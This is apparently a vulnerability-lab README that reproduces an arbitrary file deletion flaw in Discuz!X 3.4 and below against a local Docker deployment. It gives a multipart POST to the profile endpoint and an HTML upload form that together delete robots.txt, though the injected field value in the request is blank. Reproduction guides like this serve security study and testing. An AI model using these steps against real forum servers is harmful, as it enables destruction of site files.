# Discuz!X ≤3.4 Arbitrary File Deletion
[中文版本(Chinese version)](README.zh-cn.md)
Discuz!X is a popular forum software widely used in China. A vulnerability in Discuz!X versions 3.4 and below allows attackers to delete arbitrary files on the server through the user profile modification functionality.
References:

## Environment Setup
Execute the following command to deploy Discuz!X 3.4:
```
docker compose up -d
```
During installation, only modify the database host to `db` and keep other settings as default:

## Vulnerability Reproduction
First, verify that the target file (e.g., robots.txt) exists by visiting `http://your-ip/robots.txt`:

After registering a user account, find your formhash value in the personal settings page:

Send the following HTTP request with your cookie and formhash:
```
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s

[your formhash]
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"

------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"
1
------WebKitFormBoundaryPFvXyxL45f34L12s--
```
After successful submission, the birthplace field in the user profile page will show the following state:

This indicates that our malicious data has been inserted into the database.
Next, create an `upload.html` file with the following code (replace `[your-ip]` with your Discuz domain and `[form-hash]` with your formhash):
```html
<body>
<form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>
```
Open this page in a browser and upload a normal image file. At this point, the malicious data should have been processed and the vulnerability exploitation is complete.
Visit `http://your-ip/robots.txt` again to verify that the file has been successfully deleted:
